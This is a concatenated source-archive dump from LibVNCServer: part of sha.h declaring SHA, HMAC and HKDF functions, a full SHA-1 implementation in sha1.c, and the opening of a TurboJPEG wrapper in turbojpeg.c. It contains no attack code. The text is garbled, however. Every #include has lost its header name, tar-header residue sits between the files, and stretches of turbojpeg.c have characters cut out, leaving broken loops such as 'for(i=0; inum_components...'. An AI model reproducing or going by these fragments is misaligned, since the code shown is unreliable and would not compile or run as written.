permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _SHA_H_ #define _SHA_H_ /* * Description: * This file implements the Secure Hash Algorithms * as defined in the U.S. National Institute of Standards * and Technology Federal Information Processing Standards * Publication (FIPS PUB) 180-3 published in October 2008 * and formerly defined in its predecessors, FIPS PUB 180-1 * and FIP PUB 180-2. * * A combined document showing all algorithms is available at * http://csrc.nist.gov/publications/fips/ * fips180-3/fips180-3_final.pdf * * The five hashes are defined in these sizes: * SHA-1 20 byte / 160 bit * SHA-224 28 byte / 224 bit * SHA-256 32 byte / 256 bit * SHA-384 48 byte / 384 bit * SHA-512 64 byte / 512 bit * * Compilation Note: * These files may be compiled with two options: * USE_32BIT_ONLY - use 32-bit arithmetic only, for systems * without 64-bit integers * * USE_MODIFIED_MACROS - use alternate form of the SHA_Ch() * and SHA_Maj() macros that are equivalent * and potentially faster on many systems * */ #include /* * If you do not have the ISO standard stdint.h header file, then you * must typedef the following: * name meaning * uint64_t unsigned 64-bit integer * uint32_t unsigned 32-bit integer * uint8_t unsigned 8-bit integer (i.e., unsigned char) * int_least16_t integer of >= 16 bits * * See stdint-example.h */ #ifndef _SHA_enum_ #define _SHA_enum_ /* * All SHA functions return one of these values. */ enum { shaSuccess = 0, shaNull, /* Null pointer parameter */ shaInputTooLong, /* input data too long */ shaStateError, /* called Input after FinalBits or Result */ shaBadParam /* passed a bad parameter */ }; #endif /* _SHA_enum_ */ /* * These constants hold size information for each of the SHA * hashing operations */ enum { SHA1_Message_Block_Size = 64, SHA224_Message_Block_Size = 64, SHA256_Message_Block_Size = 64, SHA384_Message_Block_Size = 128, SHA512_Message_Block_Size = 128, USHA_Max_Message_Block_Size = SHA512_Message_Block_Size, SHA1HashSize = 20, SHA224HashSize = 28, SHA256HashSize = 32, SHA384HashSize = 48, SHA512HashSize = 64, USHAMaxHashSize = SHA512HashSize, SHA1HashSizeBits = 160, SHA224HashSizeBits = 224, SHA256HashSizeBits = 256, SHA384HashSizeBits = 384, SHA512HashSizeBits = 512, USHAMaxHashSizeBits = SHA512HashSizeBits }; /* * These constants are used in the USHA (Unified SHA) functions. */ typedef enum SHAversion { SHA1, SHA224, SHA256, SHA384, SHA512 } SHAversion; /* * This structure will hold context information for the SHA-1 * hashing operation. */ typedef struct SHA1Context { uint32_t Intermediate_Hash[SHA1HashSize/4]; /* Message Digest */ uint32_t Length_High; /* Message length in bits */ uint32_t Length_Low; /* Message length in bits */ int_least16_t Message_Block_Index; /* Message_Block array index */ /* 512-bit message blocks */ uint8_t Message_Block[SHA1_Message_Block_Size]; int Computed; /* Is the hash computed? */ int Corrupted; /* Cumulative corruption code */ } SHA1Context; /* * This structure will hold context information for the SHA-256 * hashing operation. */ typedef struct SHA256Context { uint32_t Intermediate_Hash[SHA256HashSize/4]; /* Message Digest */ uint32_t Length_High; /* Message length in bits */ uint32_t Length_Low; /* Message length in bits */ int_least16_t Message_Block_Index; /* Message_Block array index */ /* 512-bit message blocks */ uint8_t Message_Block[SHA256_Message_Block_Size]; int Computed; /* Is the hash computed? */ int Corrupted; /* Cumulative corruption code */ } SHA256Context; /* * This structure will hold context information for the SHA-512 * hashing operation. */ typedef struct SHA512Context { #ifdef USE_32BIT_ONLY uint32_t Intermediate_Hash[SHA512HashSize/4]; /* Message Digest */ uint32_t Length[4]; /* Message length in bits */ #else /* !USE_32BIT_ONLY */ uint64_t Intermediate_Hash[SHA512HashSize/8]; /* Message Digest */ uint64_t Length_High, Length_Low; /* Message length in bits */ #endif /* USE_32BIT_ONLY */ int_least16_t Message_Block_Index; /* Message_Block array index */ /* 1024-bit message blocks */ uint8_t Message_Block[SHA512_Message_Block_Size]; int Computed; /* Is the hash computed?*/ int Corrupted; /* Cumulative corruption code */ } SHA512Context; /* * This structure will hold context information for the SHA-224 * hashing operation. It uses the SHA-256 structure for computation. */ typedef struct SHA256Context SHA224Context; /* * This structure will hold context information for the SHA-384 * hashing operation. It uses the SHA-512 structure for computation. */ typedef struct SHA512Context SHA384Context; /* * This structure holds context information for all SHA * hashing operations. */ typedef struct USHAContext { int whichSha; /* which SHA is being used */ union { SHA1Context sha1Context; SHA224Context sha224Context; SHA256Context sha256Context; SHA384Context sha384Context; SHA512Context sha512Context; } ctx; } USHAContext; /* * This structure will hold context information for the HMAC * keyed-hashing operation. */ typedef struct HMACContext { int whichSha; /* which SHA is being used */ int hashSize; /* hash size of SHA being used */ int blockSize; /* block size of SHA being used */ USHAContext shaContext; /* SHA context */ unsigned char k_opad[USHA_Max_Message_Block_Size]; /* outer padding - key XORd with opad */ int Computed; /* Is the MAC computed? */ int Corrupted; /* Cumulative corruption code */ } HMACContext; /* * This structure will hold context information for the HKDF * extract-and-expand Key Derivation Functions. */ typedef struct HKDFContext { int whichSha; /* which SHA is being used */ HMACContext hmacContext; int hashSize; /* hash size of SHA being used */ unsigned char prk[USHAMaxHashSize]; /* pseudo-random key - output of hkdfInput */ int Computed; /* Is the key material computed? */ int Corrupted; /* Cumulative corruption code */ } HKDFContext; /* * Function Prototypes */ /* SHA-1 */ extern int SHA1Reset(SHA1Context *); extern int SHA1Input(SHA1Context *, const uint8_t *bytes, unsigned int bytecount); extern int SHA1FinalBits(SHA1Context *, uint8_t bits, unsigned int bit_count); extern int SHA1Result(SHA1Context *, uint8_t Message_Digest[SHA1HashSize]); /* SHA-224 */ extern int SHA224Reset(SHA224Context *); extern int SHA224Input(SHA224Context *, const uint8_t *bytes, unsigned int bytecount); extern int SHA224FinalBits(SHA224Context *, uint8_t bits, unsigned int bit_count); extern int SHA224Result(SHA224Context *, uint8_t Message_Digest[SHA224HashSize]); /* SHA-256 */ extern int SHA256Reset(SHA256Context *); extern int SHA256Input(SHA256Context *, const uint8_t *bytes, unsigned int bytecount); extern int SHA256FinalBits(SHA256Context *, uint8_t bits, unsigned int bit_count); extern int SHA256Result(SHA256Context *, uint8_t Message_Digest[SHA256HashSize]); /* SHA-384 */ extern int SHA384Reset(SHA384Context *); extern int SHA384Input(SHA384Context *, const uint8_t *bytes, unsigned int bytecount); extern int SHA384FinalBits(SHA384Context *, uint8_t bits, unsigned int bit_count); extern int SHA384Result(SHA384Context *, uint8_t Message_Digest[SHA384HashSize]); /* SHA-512 */ extern int SHA512Reset(SHA512Context *); extern int SHA512Input(SHA512Context *, const uint8_t *bytes, unsigned int bytecount); extern int SHA512FinalBits(SHA512Context *, uint8_t bits, unsigned int bit_count); extern int SHA512Result(SHA512Context *, uint8_t Message_Digest[SHA512HashSize]); /* Unified SHA functions, chosen by whichSha */ extern int USHAReset(USHAContext *context, SHAversion whichSha); extern int USHAInput(USHAContext *context, const uint8_t *bytes, unsigned int bytecount); extern int USHAFinalBits(USHAContext *context, uint8_t bits, unsigned int bit_count); extern int USHAResult(USHAContext *context, uint8_t Message_Digest[USHAMaxHashSize]); extern int USHABlockSize(enum SHAversion whichSha); extern int USHAHashSize(enum SHAversion whichSha); extern int USHAHashSizeBits(enum SHAversion whichSha); extern const char *USHAHashName(enum SHAversion whichSha); /* * HMAC Keyed-Hashing for Message Authentication, RFC 2104, * for all SHAs. * This interface allows a fixed-length text input to be used. */ extern int hmac(SHAversion whichSha, /* which SHA algorithm to use */ const unsigned char *text, /* pointer to data stream */ int text_len, /* length of data stream */ const unsigned char *key, /* pointer to authentication key */ int key_len, /* length of authentication key */ uint8_t digest[USHAMaxHashSize]); /* caller digest to fill in */ /* * HMAC Keyed-Hashing for Message Authentication, RFC 2104, * for all SHAs. * This interface allows any length of text input to be used. */ extern int hmacReset(HMACContext *context, enum SHAversion whichSha, const unsigned char *key, int key_len); extern int hmacInput(HMACContext *context, const unsigned char *text, int text_len); extern int hmacFinalBits(HMACContext *context, uint8_t bits, unsigned int bit_count); extern int hmacResult(HMACContext *context, uint8_t digest[USHAMaxHashSize]); /* * HKDF HMAC-based Extract-and-Expand Key Derivation Function, * RFC 5869, for all SHAs. */ extern int hkdf(SHAversion whichSha, const unsigned char *salt, int salt_len, const unsigned char *ikm, int ikm_len, const unsigned char *info, int info_len, uint8_t okm[ ], int okm_len); extern int hkdfExtract(SHAversion whichSha, const unsigned char *salt, int salt_len, const unsigned char *ikm, int ikm_len, uint8_t prk[USHAMaxHashSize]); extern int hkdfExpand(SHAversion whichSha, const uint8_t prk[ ], int prk_len, const unsigned char *info, int info_len, uint8_t okm[ ], int okm_len); /* * HKDF HMAC-based Extract-and-Expand Key Derivation Function, * RFC 5869, for all SHAs. * This interface allows any length of text input to be used. */ extern int hkdfReset(HKDFContext *context, enum SHAversion whichSha, const unsigned char *salt, int salt_len); extern int hkdfInput(HKDFContext *context, const unsigned char *ikm, int ikm_len); extern int hkdfFinalBits(HKDFContext *context, uint8_t ikm_bits, unsigned int ikm_bit_count); extern int hkdfResult(HKDFContext *context, uint8_t prk[USHAMaxHashSize], const unsigned char *info, int info_len, uint8_t okm[USHAMaxHashSize], int okm_len); #endif /* _SHA_H_ */ libvncserver-LibVNCServer-0.9.11/common/sha1.c000066400000000000000000000303751303145525000210460ustar00rootroot00000000000000/**************************** sha1.c ***************************/ /***************** See RFC 6234 for details. *******************/ /* Copyright (c) 2011 IETF Trust and the persons identified as */ /* authors of the code. All rights reserved. */ /* See sha.h for terms of use and redistribution. */ /* * Description: * This file implements the Secure Hash Algorithm SHA-1 * as defined in the U.S. National Institute of Standards * and Technology Federal Information Processing Standards * Publication (FIPS PUB) 180-3 published in October 2008 * and formerly defined in its predecessors, FIPS PUB 180-1 * and FIP PUB 180-2. * * A combined document showing all algorithms is available at * http://csrc.nist.gov/publications/fips/ * fips180-3/fips180-3_final.pdf * * The SHA-1 algorithm produces a 160-bit message digest for a * given data stream that can serve as a means of providing a * "fingerprint" for a message. * * Portability Issues: * SHA-1 is defined in terms of 32-bit "words". This code * uses (included via "sha.h") to define 32- and * 8-bit unsigned integer types. If your C compiler does * not support 32-bit unsigned integers, this code is not * appropriate. * * Caveats: * SHA-1 is designed to work with messages less than 2^64 bits * long. This implementation uses SHA1Input() to hash the bits * that are a multiple of the size of an 8-bit octet, and then * optionally uses SHA1FinalBits() to hash the final few bits of * the input. */ #include "sha.h" #include "sha-private.h" /* * Define the SHA1 circular left shift macro */ #define SHA1_ROTL(bits,word) \ (((word) << (bits)) | ((word) >> (32-(bits)))) /* * Add "length" to the length. * Set Corrupted when overflow has occurred. */ static uint32_t addTemp; #define SHA1AddLength(context, length) \ (addTemp = (context)->Length_Low, \ (context)->Corrupted = \ (((context)->Length_Low += (length)) < addTemp) && \ (++(context)->Length_High == 0) ? shaInputTooLong \ : (context)->Corrupted ) /* Local Function Prototypes */ static void SHA1ProcessMessageBlock(SHA1Context *context); static void SHA1Finalize(SHA1Context *context, uint8_t Pad_Byte); static void SHA1PadMessage(SHA1Context *context, uint8_t Pad_Byte); /* * SHA1Reset * * Description: * This function will initialize the SHA1Context in preparation * for computing a new SHA1 message digest. * * Parameters: * context: [in/out] * The context to reset. * * Returns: * sha Error Code. * */ int SHA1Reset(SHA1Context *context) { if (!context) return shaNull; context->Length_High = context->Length_Low = 0; context->Message_Block_Index = 0; /* Initial Hash Values: FIPS 180-3 section 5.3.1 */ context->Intermediate_Hash[0] = 0x67452301; context->Intermediate_Hash[1] = 0xEFCDAB89; context->Intermediate_Hash[2] = 0x98BADCFE; context->Intermediate_Hash[3] = 0x10325476; context->Intermediate_Hash[4] = 0xC3D2E1F0; context->Computed = 0; context->Corrupted = shaSuccess; return shaSuccess; } /* * SHA1Input * * Description: * This function accepts an array of octets as the next portion * of the message. * * Parameters: * context: [in/out] * The SHA context to update. * message_array[ ]: [in] * An array of octets representing the next portion of * the message. * length: [in] * The length of the message in message_array. * * Returns: * sha Error Code. * */ int SHA1Input(SHA1Context *context, const uint8_t *message_array, unsigned length) { if (!context) return shaNull; if (!length) return shaSuccess; if (!message_array) return shaNull; if (context->Computed) return context->Corrupted = shaStateError; if (context->Corrupted) return context->Corrupted; while (length--) { context->Message_Block[context->Message_Block_Index++] = *message_array; if ((SHA1AddLength(context, 8) == shaSuccess) && (context->Message_Block_Index == SHA1_Message_Block_Size)) SHA1ProcessMessageBlock(context); message_array++; } return context->Corrupted; } /* * SHA1FinalBits * * Description: * This function will add in any final bits of the message. * * Parameters: * context: [in/out] * The SHA context to update. * message_bits: [in] * The final bits of the message, in the upper portion of the * byte. (Use 0b###00000 instead of 0b00000### to input the * three bits ###.) * length: [in] * The number of bits in message_bits, between 1 and 7. * * Returns: * sha Error Code. */ int SHA1FinalBits(SHA1Context *context, uint8_t message_bits, unsigned int length) { static uint8_t masks[8] = { /* 0 0b00000000 */ 0x00, /* 1 0b10000000 */ 0x80, /* 2 0b11000000 */ 0xC0, /* 3 0b11100000 */ 0xE0, /* 4 0b11110000 */ 0xF0, /* 5 0b11111000 */ 0xF8, /* 6 0b11111100 */ 0xFC, /* 7 0b11111110 */ 0xFE }; static uint8_t markbit[8] = { /* 0 0b10000000 */ 0x80, /* 1 0b01000000 */ 0x40, /* 2 0b00100000 */ 0x20, /* 3 0b00010000 */ 0x10, /* 4 0b00001000 */ 0x08, /* 5 0b00000100 */ 0x04, /* 6 0b00000010 */ 0x02, /* 7 0b00000001 */ 0x01 }; if (!context) return shaNull; if (!length) return shaSuccess; if (context->Corrupted) return context->Corrupted; if (context->Computed) return context->Corrupted = shaStateError; if (length >= 8) return context->Corrupted = shaBadParam; SHA1AddLength(context, length); SHA1Finalize(context, (uint8_t) ((message_bits & masks[length]) | markbit[length])); return context->Corrupted; } /* * SHA1Result * * Description: * This function will return the 160-bit message digest * into the Message_Digest array provided by the caller. * NOTE: * The first octet of hash is stored in the element with index 0, * the last octet of hash in the element with index 19. * * Parameters: * context: [in/out] * The context to use to calculate the SHA-1 hash. * Message_Digest[ ]: [out] * Where the digest is returned. * * Returns: * sha Error Code. * */ int SHA1Result(SHA1Context *context, uint8_t Message_Digest[SHA1HashSize]) { int i; if (!context) return shaNull; if (!Message_Digest) return shaNull; if (context->Corrupted) return context->Corrupted; if (!context->Computed) SHA1Finalize(context, 0x80); for (i = 0; i < SHA1HashSize; ++i) Message_Digest[i] = (uint8_t) (context->Intermediate_Hash[i>>2] >> (8 * ( 3 - ( i & 0x03 ) ))); return shaSuccess; } /* * SHA1ProcessMessageBlock * * Description: * This helper function will process the next 512 bits of the * message stored in the Message_Block array. * * Parameters: * context: [in/out] * The SHA context to update. * * Returns: * Nothing. * * Comments: * Many of the variable names in this code, especially the * single character names, were used because those were the * names used in the Secure Hash Standard. */ static void SHA1ProcessMessageBlock(SHA1Context *context) { /* Constants defined in FIPS 180-3, section 4.2.1 */ const uint32_t K[4] = { 0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xCA62C1D6 }; int t; /* Loop counter */ uint32_t temp; /* Temporary word value */ uint32_t W[80]; /* Word sequence */ uint32_t A, B, C, D, E; /* Word buffers */ /* * Initialize the first 16 words in the array W */ for (t = 0; t < 16; t++) { W[t] = ((uint32_t)context->Message_Block[t * 4]) << 24; W[t] |= ((uint32_t)context->Message_Block[t * 4 + 1]) << 16; W[t] |= ((uint32_t)context->Message_Block[t * 4 + 2]) << 8; W[t] |= ((uint32_t)context->Message_Block[t * 4 + 3]); } for (t = 16; t < 80; t++) W[t] = SHA1_ROTL(1, W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); A = context->Intermediate_Hash[0]; B = context->Intermediate_Hash[1]; C = context->Intermediate_Hash[2]; D = context->Intermediate_Hash[3]; E = context->Intermediate_Hash[4]; for (t = 0; t < 20; t++) { temp = SHA1_ROTL(5,A) + SHA_Ch(B, C, D) + E + W[t] + K[0]; E = D; D = C; C = SHA1_ROTL(30,B); B = A; A = temp; } for (t = 20; t < 40; t++) { temp = SHA1_ROTL(5,A) + SHA_Parity(B, C, D) + E + W[t] + K[1]; E = D; D = C; C = SHA1_ROTL(30,B); B = A; A = temp; } for (t = 40; t < 60; t++) { temp = SHA1_ROTL(5,A) + SHA_Maj(B, C, D) + E + W[t] + K[2]; E = D; D = C; C = SHA1_ROTL(30,B); B = A; A = temp; } for (t = 60; t < 80; t++) { temp = SHA1_ROTL(5,A) + SHA_Parity(B, C, D) + E + W[t] + K[3]; E = D; D = C; C = SHA1_ROTL(30,B); B = A; A = temp; } context->Intermediate_Hash[0] += A; context->Intermediate_Hash[1] += B; context->Intermediate_Hash[2] += C; context->Intermediate_Hash[3] += D; context->Intermediate_Hash[4] += E; context->Message_Block_Index = 0; } /* * SHA1Finalize * * Description: * This helper function finishes off the digest calculations. * * Parameters: * context: [in/out] * The SHA context to update. * Pad_Byte: [in] * The last byte to add to the message block before the 0-padding * and length. This will contain the last bits of the message * followed by another single bit. If the message was an * exact multiple of 8-bits long, Pad_Byte will be 0x80. * * Returns: * sha Error Code. * */ static void SHA1Finalize(SHA1Context *context, uint8_t Pad_Byte) { int i; SHA1PadMessage(context, Pad_Byte); /* message may be sensitive, clear it out */ for (i = 0; i < SHA1_Message_Block_Size; ++i) context->Message_Block[i] = 0; context->Length_High = 0; /* and clear length */ context->Length_Low = 0; context->Computed = 1; } /* * SHA1PadMessage * * Description: * According to the standard, the message must be padded to the next * even multiple of 512 bits. The first padding bit must be a '1'. * The last 64 bits represent the length of the original message. * All bits in between should be 0. This helper function will pad * the message according to those rules by filling the Message_Block * array accordingly. When it returns, it can be assumed that the * message digest has been computed. * * Parameters: * context: [in/out] * The context to pad. * Pad_Byte: [in] * The last byte to add to the message block before the 0-padding * and length. This will contain the last bits of the message * followed by another single bit. If the message was an * exact multiple of 8-bits long, Pad_Byte will be 0x80. * * Returns: * Nothing. */ static void SHA1PadMessage(SHA1Context *context, uint8_t Pad_Byte) { /* * Check to see if the current message block is too small to hold * the initial padding bits and length. If so, we will pad the * block, process it, and then continue padding into a second * block. */ if (context->Message_Block_Index >= (SHA1_Message_Block_Size - 8)) { context->Message_Block[context->Message_Block_Index++] = Pad_Byte; while (context->Message_Block_Index < SHA1_Message_Block_Size) context->Message_Block[context->Message_Block_Index++] = 0; SHA1ProcessMessageBlock(context); } else context->Message_Block[context->Message_Block_Index++] = Pad_Byte; while (context->Message_Block_Index < (SHA1_Message_Block_Size - 8)) context->Message_Block[context->Message_Block_Index++] = 0; /* * Store the message length as the last 8 octets */ context->Message_Block[56] = (uint8_t) (context->Length_High >> 24); context->Message_Block[57] = (uint8_t) (context->Length_High >> 16); context->Message_Block[58] = (uint8_t) (context->Length_High >> 8); context->Message_Block[59] = (uint8_t) (context->Length_High); context->Message_Block[60] = (uint8_t) (context->Length_Low >> 24); context->Message_Block[61] = (uint8_t) (context->Length_Low >> 16); context->Message_Block[62] = (uint8_t) (context->Length_Low >> 8); context->Message_Block[63] = (uint8_t) (context->Length_Low); SHA1ProcessMessageBlock(context); } libvncserver-LibVNCServer-0.9.11/common/turbojpeg.c000066400000000000000000000541661303145525000222170ustar00rootroot00000000000000/* * Copyright (C)2009-2012 D. R. Commander. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the libjpeg-turbo Project nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /* TurboJPEG/OSS: this implements the TurboJPEG API using libjpeg-turbo */ #include #include #include #ifndef JCS_EXTENSIONS #define JPEG_INTERNAL_OPTIONS #endif #include #include #include #include "./turbojpeg.h" #define PAD(v, p) ((v+(p)-1)&(~((p)-1))) #define CSTATE_START 100 #define DSTATE_START 200 #define MEMZERO(ptr, size) memset(ptr, 0, size) #ifndef min #define min(a,b) ((a)<(b)?(a):(b)) #endif #ifndef max #define max(a,b) ((a)>(b)?(a):(b)) #endif /* Error handling (based on example in example.c) */ static char errStr[JMSG_LENGTH_MAX]="No error"; struct my_error_mgr { struct jpeg_error_mgr pub; jmp_buf setjmp_buffer; }; typedef struct my_error_mgr *my_error_ptr; static void my_error_exit(j_common_ptr cinfo) { my_error_ptr myerr=(my_error_ptr)cinfo->err; (*cinfo->err->output_message)(cinfo); longjmp(myerr->setjmp_buffer, 1); } /* Based on output_message() in jerror.c */ static void my_output_message(j_common_ptr cinfo) { (*cinfo->err->format_message)(cinfo, errStr); } /* Global structures, macros, etc. */ enum {COMPRESS=1, DECOMPRESS=2}; typedef struct _tjinstance { struct jpeg_compress_struct cinfo; struct jpeg_decompress_struct dinfo; struct jpeg_destination_mgr jdst; struct jpeg_source_mgr jsrc; struct my_error_mgr jerr; int init; } tjinstance; static const int pixelsize[TJ_NUMSAMP]={3, 3, 3, 1, 3}; #define NUMSF 4 static const tjscalingfactor sf[NUMSF]={ {1, 1}, {1, 2}, {1, 4}, {1, 8} }; #define _throw(m) {snprintf(errStr, JMSG_LENGTH_MAX, "%s", m); \ retval=-1; goto bailout;} #define getinstance(handle) tjinstance *this=(tjinstance *)handle; \ j_compress_ptr cinfo=NULL; j_decompress_ptr dinfo=NULL; \ (void) cinfo; (void) dinfo; /* silence warnings */ \ if(!this) {snprintf(errStr, JMSG_LENGTH_MAX, "Invalid handle"); \ return -1;} \ cinfo=&this->cinfo; dinfo=&this->dinfo; static int getPixelFormat(int pixelSize, int flags) { if(pixelSize==1) return TJPF_GRAY; if(pixelSize==3) { if(flags&TJ_BGR) return TJPF_BGR; else return TJPF_RGB; } if(pixelSize==4) { if(flags&TJ_ALPHAFIRST) { if(flags&TJ_BGR) return TJPF_XBGR; else return TJPF_XRGB; } else { if(flags&TJ_BGR) return TJPF_BGRX; else return TJPF_RGBX; } } return -1; } static int setCompDefaults(struct jpeg_compress_struct *cinfo, int pixelFormat, int subsamp, int jpegQual) { int retval=0; switch(pixelFormat) { case TJPF_GRAY: cinfo->in_color_space=JCS_GRAYSCALE; break; #if JCS_EXTENSIONS==1 case TJPF_RGB: cinfo->in_color_space=JCS_EXT_RGB; break; case TJPF_BGR: cinfo->in_color_space=JCS_EXT_BGR; break; case TJPF_RGBX: case TJPF_RGBA: cinfo->in_color_space=JCS_EXT_RGBX; break; case TJPF_BGRX: case TJPF_BGRA: cinfo->in_color_space=JCS_EXT_BGRX; break; case TJPF_XRGB: case TJPF_ARGB: cinfo->in_color_space=JCS_EXT_XRGB; break; case TJPF_XBGR: case TJPF_ABGR: cinfo->in_color_space=JCS_EXT_XBGR; break; #else case TJPF_RGB: case TJPF_BGR: case TJPF_RGBX: case TJPF_BGRX: case TJPF_XRGB: case TJPF_XBGR: case TJPF_RGBA: case TJPF_BGRA: case TJPF_ARGB: case TJPF_ABGR: cinfo->in_color_space=JCS_RGB; pixelFormat=TJPF_RGB; break; #endif } cinfo->input_components=tjPixelSize[pixelFormat]; jpeg_set_defaults(cinfo); if(jpegQual>=0) { jpeg_set_quality(cinfo, jpegQual, TRUE); if(jpegQual>=96) cinfo->dct_method=JDCT_ISLOW; else cinfo->dct_method=JDCT_FASTEST; } if(subsamp==TJSAMP_GRAY) jpeg_set_colorspace(cinfo, JCS_GRAYSCALE); else jpeg_set_colorspace(cinfo, JCS_YCbCr); cinfo->comp_info[0].h_samp_factor=tjMCUWidth[subsamp]/8; cinfo->comp_info[1].h_samp_factor=1; cinfo->comp_info[2].h_samp_factor=1; cinfo->comp_info[0].v_samp_factor=tjMCUHeight[subsamp]/8; cinfo->comp_info[1].v_samp_factor=1; cinfo->comp_info[2].v_samp_factor=1; return retval; } static int setDecompDefaults(struct jpeg_decompress_struct *dinfo, int pixelFormat) { int retval=0; switch(pixelFormat) { case TJPF_GRAY: dinfo->out_color_space=JCS_GRAYSCALE; break; #if JCS_EXTENSIONS==1 case TJPF_RGB: dinfo->out_color_space=JCS_EXT_RGB; break; case TJPF_BGR: dinfo->out_color_space=JCS_EXT_BGR; break; case TJPF_RGBX: dinfo->out_color_space=JCS_EXT_RGBX; break; case TJPF_BGRX: dinfo->out_color_space=JCS_EXT_BGRX; break; case TJPF_XRGB: dinfo->out_color_space=JCS_EXT_XRGB; break; case TJPF_XBGR: dinfo->out_color_space=JCS_EXT_XBGR; break; #if JCS_ALPHA_EXTENSIONS==1 case TJPF_RGBA: dinfo->out_color_space=JCS_EXT_RGBA; break; case TJPF_BGRA: dinfo->out_color_space=JCS_EXT_BGRA; break; case TJPF_ARGB: dinfo->out_color_space=JCS_EXT_ARGB; break; case TJPF_ABGR: dinfo->out_color_space=JCS_EXT_ABGR; break; #endif #else case TJPF_RGB: case TJPF_BGR: case TJPF_RGBX: case TJPF_BGRX: case TJPF_XRGB: case TJPF_XBGR: case TJPF_RGBA: case TJPF_BGRA: case TJPF_ARGB: case TJPF_ABGR: dinfo->out_color_space=JCS_RGB; break; #endif default: _throw("Unsupported pixel format"); } bailout: return retval; } static int getSubsamp(j_decompress_ptr dinfo) { int retval=-1, i, k; for(i=0; inum_components==pixelsize[i]) { if(dinfo->comp_info[0].h_samp_factor==tjMCUWidth[i]/8 && dinfo->comp_info[0].v_samp_factor==tjMCUHeight[i]/8) { int match=0; for(k=1; knum_components; k++) { if(dinfo->comp_info[k].h_samp_factor==1 && dinfo->comp_info[k].v_samp_factor==1) match++; } if(match==dinfo->num_components-1) { retval=i; break; } } } } return retval; } #ifndef JCS_EXTENSIONS /* Conversion functions to emulate the colorspace extensions. This allows the TurboJPEG wrapper to be used with libjpeg */ #define TORGB(PS, ROFFSET, GOFFSET, BOFFSET) { \ int rowPad=pitch-width*PS; \ while(height--) \ { \ unsigned char *endOfRow=src+width*PS; \ while(srcjerr.setjmp_buffer)) return -1; if(this->init&COMPRESS) jpeg_destroy_compress(cinfo); if(this->init&DECOMPRESS) jpeg_destroy_decompress(dinfo); free(this); return 0; } /* Compressor */ static boolean empty_output_buffer(j_compress_ptr cinfo) { ERREXIT(cinfo, JERR_BUFFER_SIZE); return TRUE; } static void dst_noop(j_compress_ptr cinfo) { } static tjhandle _tjInitCompress(tjinstance *this) { /* This is also straight out of example.c */ this->cinfo.err=jpeg_std_error(&this->jerr.pub); this->jerr.pub.error_exit=my_error_exit; this->jerr.pub.output_message=my_output_message; if(setjmp(this->jerr.setjmp_buffer)) { /* If we get here, the JPEG code has signaled an error. */ if(this) free(this); return NULL; } jpeg_create_compress(&this->cinfo); this->cinfo.dest=&this->jdst; this->jdst.init_destination=dst_noop; this->jdst.empty_output_buffer=empty_output_buffer; this->jdst.term_destination=dst_noop; this->init|=COMPRESS; return (tjhandle)this; } DLLEXPORT tjhandle DLLCALL tjInitCompress(void) { tjinstance *this=NULL; if((this=(tjinstance *)malloc(sizeof(tjinstance)))==NULL) { snprintf(errStr, JMSG_LENGTH_MAX, "tjInitCompress(): Memory allocation failure"); return NULL; } MEMZERO(this, sizeof(tjinstance)); return _tjInitCompress(this); } DLLEXPORT unsigned long DLLCALL tjBufSize(int width, int height, int jpegSubsamp) { unsigned long retval=0; int mcuw, mcuh, chromasf; if(width<1 || height<1 || jpegSubsamp<0 || jpegSubsamp>=NUMSUBOPT) _throw("tjBufSize(): Invalid argument"); /* * This allows for rare corner cases in which a JPEG image can actually be * larger than the uncompressed input (we wouldn't mention it if it hadn't * happened before.) */ mcuw=tjMCUWidth[jpegSubsamp]; mcuh=tjMCUHeight[jpegSubsamp]; chromasf=jpegSubsamp==TJSAMP_GRAY? 0: 4*64/(mcuw*mcuh); retval=PAD(width, mcuw) * PAD(height, mcuh) * (2 + chromasf) + 2048; bailout: return retval; } DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height) { unsigned long retval=0; if(width<1 || height<1) _throw("TJBUFSIZE(): Invalid argument"); /* * This allows for rare corner cases in which a JPEG image can actually be * larger than the uncompressed input (we wouldn't mention it if it hadn't * happened before.) */ 